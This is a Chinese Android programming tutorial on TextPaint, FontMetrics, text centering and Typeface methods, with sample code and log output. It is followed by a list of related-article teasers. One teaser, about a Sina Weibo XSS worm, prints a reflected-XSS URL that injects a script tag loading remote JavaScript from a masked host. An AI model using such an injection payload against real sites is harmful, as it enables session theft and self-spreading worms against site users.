用TextPaint来绘制文字

  TextPaint是paint的子类,用它可以很方便的进行文字的绘制,一般情况下遇到绘制文字的需求时,我们一般用TextPaint所提供的方法。开始学习如何绘制文字之前,我们必须要先了解下android中文字是怎么绘制到屏幕上的,文字的格式又是怎么样的。

 

一、FontMetrics

1.1 理论知识

它是一个Paint的内部类,作用是“字体测量”。它里面呢就定义了top,ascent,descent,bottom,leading五个成员变量其他什么也没有,和rect很相似。如果你不信,我们可以去看看源码:

   /*** Class that describes the various metrics for a font at a given text size.* Remember, Y values increase going down, so those values will be positive,* and values that measure distances going up will be negative. This class* is returned by getFontMetrics().*/public static class FontMetrics {/*** The maximum distance above the baseline for the tallest glyph in* the font at a given text size.*/public float   top;/*** The recommended distance above the baseline for singled spaced text.*/public float   ascent;/*** The recommended distance below the baseline for singled spaced text.*/public float   descent;/*** The maximum distance below the baseline for the lowest glyph in* the font at a given text size.*/public float   bottom;/*** The recommended additional space to add between lines of text.*/public float   leading;}

为了很好的理解这5个变量的意义,我们用下面的图示来进行说明。

  Baseline是基线,在Android中,文字的绘制都是从Baseline处开始的,Baseline往上至字符“最高处”的距离我们称之为ascent(上坡度),Baseline往下至字符“最低处”的距离我们称之为descent(下坡度);

  leading(行间距)则表示上一行字符的descent到该行字符的ascent之间的距离;

  top和bottom文档描述地很模糊,其实这里我们可以借鉴一下TextView对文本的绘制,TextView在绘制文本的时候总会在文本的最外层留出一些内边距,为什么要这样做?因为TextView在绘制文本的时候考虑到了类似读音符号,下图中的A上面的符号就是一个拉丁文的类似读音符号的东西:

top的意思其实就是除了Baseline到字符顶端的距离外还应该包含这些符号的高度,bottom的意思也是一样。一般情况下我们极少使用到类似的符号所以往往会忽略掉这些符号的存在,但是Android依然会在绘制文本的时候在文本外层留出一定的边距,这就是为什么top和bottom总会比ascent和descent大一点的原因。而在TextView中我们可以通过xml设置其属性android:includeFontPadding="false"去掉一定的边距值但是不能完全去掉。

 

1.2 代码验证

为了测试一下上述的理论是否正确,我们写下了下面的代码:

private static final String TEXT = "ap卡了ξτβбпшㄎㄊěǔぬも┰┠№@↓"; 
    @Overrideprotected void onDraw(Canvas canvas) {super.onDraw(canvas);mTextPaint.setTextSize(50);  mTextPaint.setColor(Color.BLACK);  FontMetrics fontMetrics = mTextPaint.getFontMetrics();  Log.d("Aige", "ascent:" + fontMetrics.ascent);  Log.d("Aige", "top:" + fontMetrics.top);  Log.d("Aige", "leading:" + fontMetrics.leading);  Log.d("Aige", "descent:" + fontMetrics.descent);  Log.d("Aige", "bottom:" + fontMetrics.bottom);  mTextPaint.clearShadowLayer();canvas.drawText(TEXT, 0, Math.abs(fontMetrics.top), mTextPaint);}

结果:

打印的Log:

ascent:-46.38672
top:-52.807617
leading:0.0
descent:12.207031
bottom:13.549805

注:Baseline上方的值为负,下方的值为正

我们来分析一下这个结果:

因为基线上方为负,所以ascent和top的值都是负数,而且top要大于ascent,原因是要为符号留出位置。

因为只有一行文本所以leading恒为0。

基线下方为正,所以descent和bottom都是正的,bottom要略大于descent

在得到的结果中,我们发现文字是紧紧贴着屏幕顶端的,再看下我们的程序代码:

canvas.drawText(TEXT, 0, Math.abs(fontMetrics.top), mTextPaint);

x坐标是0,y坐标是Math.abs(fontMetrics.top),因为android是从基线开始绘制的,所以我们为了让字体顶端紧贴屏幕就必须让它移下来一点,移动的距离是top的距离,也就是基线到文字对顶部的距离。有人可能会问,如果不设置呢?x,y坐标都是0,是什么效果呢?因为android会从基线开始绘制,所以如果不做处理,基线就是屏幕的顶部,因此会出现如下的效果:

最终,我们验证了上面的理论是完全正确的。

 

1.3 fontMetrics中的变量和文字的size、typeface有关

从代码中我们可以看到一个很特别的现象,在我们绘制文本之前我们便可以获取文本的FontMetrics属性值,也就是说我们FontMetrics的这些值跟我们要绘制什么文本是无关的,而仅与绘制文本Paint的size和typeface有关。当你改变了paint绘制文字的size或typeface时,FontMetrics中的top、bottom等值就会发生改变。如果我们仅仅更改了文字,这些值是不会发生任何改变的。

 

1.4 绘制居中屏幕的文字

我们知道了这些理论知识,也知道android是怎么绘制文字的,一会我们要做一个实际的例子来巩固巩固。首先,我们要先来扩展认识两个方法:

float android.graphics.Paint.descent()
解释:the distance below (positive) the baseline (descent) based on the current typeface and text size. 
一句话解释:得到下坡度的值
float android.graphics.Paint.ascent()

解释:the distance above (negative) the baseline (ascent) based on the current typeface and text size. 

一句话解释:就是得到上坡度的值

实际代码:

@Overrideprotected void onDraw(Canvas canvas) {super.onDraw(canvas);mTextPaint.setTextSize(50);mTextPaint.setColor(Color.BLACK);// 计算Baseline绘制的起点X轴坐标 ,计算方式:画布宽度的一半 - 文字宽度的一半int baseX = (int) (canvas.getWidth() / 2 - mTextPaint.measureText(TEXT) / 2);// 计算Baseline绘制的Y坐标 ,计算方式:画布高度的一半 - 文字总高度的一半int baseY = (int) ((canvas.getHeight() / 2) - ((mTextPaint.descent() + mTextPaint.ascent()) / 2));// 居中画一个文字
        canvas.drawText(TEXT, baseX, baseY, mTextPaint);mPaint.setColor(Color.RED);mPaint.setStrokeWidth(2);// 为了便于理解我们在画布中心处绘制一条中线canvas.drawLine(0, canvas.getHeight() / 2, canvas.getWidth(), canvas.getHeight() / 2, mPaint);}

我们计算了x坐标和y坐标。

x坐标的计算方法是(屏幕宽度-文字宽度)/2,如果文字宽度比屏幕宽度长得到的就是负数,如果文字宽度比屏幕宽度短,得到的就是正数,这个很容易理解;

y坐标的的计算方式是(屏幕高度-文字高度)/2,这里的文字高度用的是:descent+ascent(忽略了音标)。

结果:

 

二、TextPaint中的各种方法

float ascent()

顾名思义就是返回上坡度的值

 

float descent()

得到下坡度的值

 

public int breakText (String text, boolean measureForwards, float maxWidth, float[] measuredWidth)

public int breakText (char[] text, int index, int count, float maxWidth, float[] measuredWidth)

public int breakText (CharSequence text, int start, int end, boolean measureForwards, float maxWidth, float[] measuredWidth)

这个方法让我们设置一个最大宽度,在不超过这个宽度的范围内返回实际测量值否则停止测量。

text表示我们的字符串;

start表示从第几个字符串开始测量;

end表示从测量到第几个字符串为止;

measureForwards表示向前还是向后测量;

maxWidth表示一个给定的最大宽度在这个宽度内能测量出几个字符;

measuredWidth为一个可选项,可以为空,不为空时返回真实的测量值

这些方法在一些结合文本处理的应用里比较常用,比如文本阅读器的翻页效果,我们需要在翻页的时候动态折断或生成一行字符串,这就派上用场了~

 

getFontMetrics()

得到一个FontMetrics对象。

 

getFontMetrics (Paint.FontMetrics metrics)

这个和我们之前用到的getFontMetrics()相比多了个参数,getFontMetrics()返回的是FontMetrics对象,而getFontMetrics(Paint.FontMetrics metrics)返回的是文本的行间距,如果metrics的值不为空则返回FontMetrics对象的值。

 

getFontMetricsInt()

该方法返回了一个FontMetricsInt对象,FontMetricsInt和FontMetrics是一样的,只不过getFontMetricsInt()得到的对象中的参数都是int类型,而getFontMetrics()返回对象中的参数都是float。

 

getFontMetricsInt(Paint.FontMetricsInt fmi)

得到文字的间距,距离是int类型

 

getFontSpacing()

返回字符行间距

 

setUnderlineText(boolean underlineText)

设置文字的下划线

 

setTypeface(Typeface typeface)

设置字体类型,上面我们也使用过。

Android中字体有四种样式:BOLD(加粗),BOLD_ITALIC(加粗并倾斜),ITALIC(倾斜),NORMAL(正常)

android为我们提供的字体有五种:DEFAULT,DEFAULT_BOLD,MONOSPACE,SANS_SERIF和SERIF,我们也可以用自己定义的字体:

          Paint p = new Paint();  String familyName = "宋体";  Typeface font = Typeface.create(familyName, Typeface.BOLD);  p.setColor(Color.RED);  p.setTypeface(font); 

 

setTextSkewX(float skewX)

设置文本在水平方向上的倾斜。这个倾斜值没有具体的范围,但是官方推崇的值为-0.25可以得到比较好的倾斜文本效果,值为负右倾值为正左倾,默认值为0。

setTextSize (float textSize)

设置文字的大小,但是要注意该值必需大于零。

 

setTextScaleX (float scaleX)

将文本沿X轴水平缩放,默认值为1,当值大于1会沿X轴水平放大文本,当值小于1会沿X轴水平缩放文本

// 设置画笔文本倾斜  
textPaint.setTextScaleX(0.5F);           

// 设置画笔文本倾斜  
textPaint.setTextScaleX(1.5F);  

注意:setTextScaleX不仅放大了文本宽度同时还拉伸了字符!这是亮点~

 

setTextLocale (Locale locale)

设置地理位置,这里如果你要使用,直接传入Locale.getDefault()即可。

 

setTextAlign (Paint.Align align)

设置文本的对齐方式,可供选的方式有三种:CENTER,LEFT和RIGHT

我们的文本大小是通过size和typeface确定的(其实还有其他的因素但这里影响不大忽略),一旦baseline确定,对不对齐好像不相干吧。但是,你要知道一点,文本的绘制是从baseline开始没错,但是是从哪边开始绘制的呢?左端还是右端呢?而这个Align就是为我们定义在baseline绘制文本究竟该从何处开始,上面我们在进行对文本的水平居中时是用Canvas宽度的一半减去文本宽度的一半:

    @Overrideprotected void onDraw(Canvas canvas) {super.onDraw(canvas);mTextPaint.setTextSize(50);mTextPaint.setColor(Color.BLACK);// 计算Baseline绘制的起点X轴坐标 ,计算方式:画布宽度的一半 - 文字宽度的一半int baseX = (int) (canvas.getWidth() / 2 - mTextPaint.measureText(TEXT) / 2);// 计算Baseline绘制的Y坐标 ,计算方式:画布高度的一半 - 文字总高度的一半int baseY = (int) ((canvas.getHeight() / 2) - ((mTextPaint.descent() + mTextPaint.ascent()) / 2));// 居中画一个文字
        canvas.drawText(TEXT, baseX, baseY, mTextPaint);mPaint.setColor(Color.RED);mPaint.setStrokeWidth(2);// 为了便于理解我们在画布中心处绘制一条中线canvas.drawLine(0, canvas.getHeight() / 2, canvas.getWidth(), canvas.getHeight() / 2, mPaint);}

实际上我们大可不必这样计算,我们只需设置Paint的文本对齐方式为CENTER,drawText的时候起点x = canvas.getWidth() / 2即可。产生的效果是,文字先算好一个基准线,从这个基准线的中点开始向左右开始绘制文字,最终自然就变成了居中显示了。如果你设定了RIGHT,那么从baseline的右边的顶点开始,文字开始慢慢绘制。

textPaint.setTextAlign(Align.CENTER);  
canvas.drawText(TEXT, canvas.getWidth() / 2, baseY, textPaint);  

 

当我们将文本对齐方式设置为CENTER后就相当于告诉Android我们这个文本绘制的时候从文本的中点开始向两端绘制;如果设置为LEFT则从文本的左端开始往右绘制;如果为RIGHT则从文本的右端开始往左绘制:

 

setSubpixelText (boolean subpixelText)

设置是否打开文本的亚像素显示,什么叫亚像素显示呢?你可以理解为对文本显示的一种优化技术,如果大家用的是Win7+系统可以在控制面板中找到一个叫ClearType的设置,该设置可以让你的文本更好地显示在屏幕上就是基于亚像素显示技术。

 

setStrikeThruText (boolean strikeThruText)

文本删除线

 

setLinearText (boolean linearText)

设置是否打开线性文本标识,这玩意对大多数人来说都很奇怪不知道这玩意什么意思。想要明白这东西你要先知道文本在Android中是如何进行存储和计算的。在Android中文本的绘制需要使用一个bitmap作为单个字符的缓存,既然是缓存必定要使用一定的空间,我们可以通过setLinearText (true)告诉Android我们不需要这样的文本缓存。

 

setFakeBoldText (boolean fakeBoldText)

设置文本仿粗体

 

measureText (String text)

measureText (CharSequence text, int start, int end)

measureText (String text, int start, int end)

measureText (char[] text, int index, int count)

测量文本宽度,上面我们已经使用过了,这四个方法都是一样的只是参数稍有不同罢了。

 

 

三、Typeface中的方法

defaultFromStyle(int style)

最简单的,简而言之就是把上面所说的四种Style封装成Typeface。传入的参数是:BOLD(加粗),BOLD_ITALIC(加粗并倾斜),ITALIC(倾斜),NORMAL(正常)

mTextPaint.setTypeface(Typeface.defaultFromStyle(Typeface.BOLD));

 

create(String familyName, int style)
create(Typeface family, int style)
textPaint.setTypeface(Typeface.create("SERIF", Typeface.NORMAL));  
textPaint.setTypeface(Typeface.create(Typeface.SERIF, Typeface.NORMAL));  

这两个方法执行的效果完全一样。

 

createFromAsset(AssetManager mgr, String path)
createFromFile(String path)
createFromFile(File path)

这三者也是一样的,它们都允许我们使用自己的字体比如我们从asset目录读取一个字体文件。下面是一个简单的例子:

// 获取字体并设置画笔字体  
Typeface typeface = Typeface.createFromAsset(context.getAssets(), "kt.ttf");  
textPaint.setTypeface(typeface);

 

3.2 扩展到TextView

说到文本大家第一时间想到的应该是TextView,其实在TextView里我们依然可以找到上面很多方法的影子,比如我们可以从TextView中获取到TextPaint:

TextPaint paint = mTextView.getPaint();  

当然也可以设置TextView的字体等等:

Typeface typeface = Typeface.createFromAsset(getAssets(), "kt.ttf");  
mTextView.setTypeface(typeface);  

 

 

说明:本文大部分内容来自:http://blog.csdn.net/aigestudio/article/details/41447349,我对原文进行了少量修改,记录在此。

From AigeStudio(http://blog.csdn.net/aigestudio)Power by Aige  尊重原作者,感谢作者的分享!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/460469.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

存储过程——介绍(一)

由于工作缘故,在工作中用到储存过程较少,在下班之余出于对学习的热情,以下分享下学习储存过程心得,往大牛们指点迷津: 储存过程:官方解释为可以将一些预先编译的sql语句集中起来有sql service数据库服务器来…

第二季5:配置视频捕获模块(step3:VI模块)

以下内容源于朱有鹏嵌入式课程的学习与整理,如有侵权请告知删除。 前言 本文将详细介绍博文第二季3:sample_venc.c的整体分析提及的“配置视频捕获模块”。 分析方法上,我们首先介绍VI模块相关的宽动态、设备、通道等概念,然后…

简化Java中的异常处理

为什么80%的码农都做不了架构师?>>> #1. 不需要Checked异常 Java中的Checked异常,可以说有弊无利,它除了能带来一系列的麻烦,能干的事情Unchecked异常都能干。 ##1.1. 代码污染 首先,当一个方法声明抛出一…

Linux常用命令之wget

wget:从网络上下载文件到当前目录。 转载于:https://www.cnblogs.com/nufangrensheng/p/3646055.html

Serv-U搭建FTP服务器

1、打开软件,勾选start automatically 2、点击domain,新建domain 3、依次输入IP、端口号、域名、域名类型 完成后的样子 4、右键单击Users,新建用户。依次输入用户名、Home目录、用户密码。 如果需要创建匿名账户,则用户名用Anony…

第二季7:创建配置编码通道(step5:VENC部分)

以下内容源于朱有鹏嵌入式课程的学习与整理,如有侵权请告知删除。 前言 本文将详细介绍博文第二季3:sample_venc.c的整体分析提及的“创建配置编码通道”。 我们首先介绍VENC模块相关的概念,然后绘制该模块的函数调用关系图谱,…

hdu 1176 馅饼

略微简单的动态规划 只是简单贴代码就好了。 #include <stdio.h> #include <string.h>int dp[100007][11]; int ans[100007][11]; int n,N;inline int Max(int x,int c){return x>c?x:c; } int v[16]; void DP() {int i,j;memset(v,0,sizeof(v));memset(ans,0,…

iOS开发-Get请求,Post请求,同步请求和异步请求

标题中的Get和Post是请求的两种方式&#xff0c;同步和异步属于实现的方法&#xff0c;Get方式有同步和异步两种方法&#xff0c;Post同理也有两种。稍微有点Web知识的&#xff0c;对Get和Post应该不会陌生&#xff0c;常说的请求处理响应&#xff0c;基本上请求的是都是这两个…

新浪微博之XSS蠕虫脚本源码讲解

主要是因为新浪的广场页面有几个链接对输入参数过滤不严导致的反射性XSS。 微博XSS漏洞点 weibo.com/pub/star/g/xyyyd%22%3e%3cscript%20src//www.****.com/images/t.js%3e%3c/script%3e?typeupdate 微博XSS脚本内容(XSS源码)function createXHR(){ return window.XMLHttpRe…

Wireshark下载安装和使用教程

本文转载于Wireshark下载安装和使用教程。 Wireshark&#xff08;前身 Ethereal&#xff09;是一个网络包分析工具。该工具主要是用来捕获网络数据包&#xff0c;并自动解析数据包&#xff0c;为用户显示数据包的详细信息&#xff0c;供用户对数据包进行分析。它可以运行在 Wi…

Cortex-M3 动态加载一(地址无关代码实现)

这篇文章是自己疑惑究竟地址无关性是如何实现&#xff0c;然后查看汇编和CPU指令手册&#xff0c;最后分析解除自己疑惑的&#xff0c;高手不要鄙视&#xff0c;哈哈。 编译C代码时候需要制定--acps/ropi选项&#xff0c;如下例子&#xff1a; 1 void SystemInit(void)2 {3 }4 …

C#使用Log4Net记录日志【转】

第一步&#xff1a;下载Log4Net 下载地址&#xff1a;http://logging.apache.org/log4net/download_log4net.cgi 把下载的 log4net-1.2.11-bin-newkey解压后&#xff0c;如下图所示&#xff1a; 双击bin文件夹 双击net文件夹&#xff0c;选择针对.NET FramerWork的不同版本 找…

Map实现之HashMap(结构及原理)(转)

java.util包中的集合类包含 Java 中某些最常用的类。最常用的集合类是 List 和 Map。List 的具体实现包括 ArrayList 和 Vector&#xff0c;它们是可变大小的列表&#xff0c;比较适合构建、存储和操作任何类型对象元素列表。List 适用于按数值索引访问元素的情形。 Map 则提供…

mysql对表中添加属性_菜鸟笔记—数据分析师MySQL篇(一)

简单说一下我写这份学习笔记的原因&#xff0c;由于工作的原因&#xff0c;想换一份工作&#xff0c;对于毕业已经快6年了&#xff0c;再次重新学习就需要付出很大的勇气和努力&#xff0c;如果态度还不能及时调整&#xff0c;最近找工作遇到的窘境就不言而喻了。去年底报了一个…

matlab打开笔记本摄像头_如何解决笔记本电脑摄像头异常问题

如果您遇到笔记本电脑相机异常问题(无法侦测视讯装置、视讯无画面、视讯画面异常、视讯画面颠倒等等)&#xff0c;请参考以下疑难解答方式依序尝试。提供应用程序权限 / 检查防病毒软件/ 更新Windows Update / 更新相机驱动程序/透过系统还原点还原系统/ 系统还原1. 提供应用程…

边框颜色为 tintColor 的 UIButton

创建一个 UIButton 的子类&#xff0c;重写其方法&#xff1a; - (void)drawRect:(CGRect)rect {[[self layer] setCornerRadius:CORNER_RADIUS];[[self layer] setMasksToBounds:YES]; [[self layer] setBorderWidth:1];[[self layer] setBorderColor:self.tintColor.CGColo…

netty SimpleChannelInboundHandler类继承使用

2019独角兽企业重金招聘Python工程师标准>>> 继承一个SimpleChannelInboundHandler来实现我们的Client&#xff0c;我们需要重写其中的三个方法&#xff1a; package NettyDemo.echo.handler;import io.netty.buffer.ByteBuf; import io.netty.buffer.ByteBufUtil; …

高中关于人工智能方面的课题_如何看待计算机专业开始设置人工智能课程

首先&#xff0c;当前计算机专业当中设置与人工智能相关的课程是一个必然的趋势&#xff0c;随着人工智能技术开始逐渐实现落地应用&#xff0c;未来计算机相关专业的课程当中&#xff0c;人工智能课程的比重也会逐渐提升&#xff0c;而且一定要重视这些课程&#xff0c;这对于…

Linux命令-目录处理命令:mkdir

mkdir /tmp/beijing mkdir -p /tmp/shijiazhuang/yuhuaqu 一条命令可以同时创建父目录和子目录 mkdir /tmp/beijing/chaoyangqu /tmp/beijing/dongchengqu /tmp/beijing/tongzhouqu 同时创建多个目录

tableau 倒序都倒了_Tableau优秀作品拆解复刻01-是时候终结瘘管病了

写在最前面&#xff1a;这个复刻系列是学习tableau官网库中的优秀作品。学习他们亮眼图表的制作细节&#xff0c;仪表板的排版&#xff0c;颜色的搭配以及交互。tableau库的链接&#xff1a;优秀作品都在这里展示。库​public.tableau.com1 整体布局 颜色&#xff1a; 采用橙色…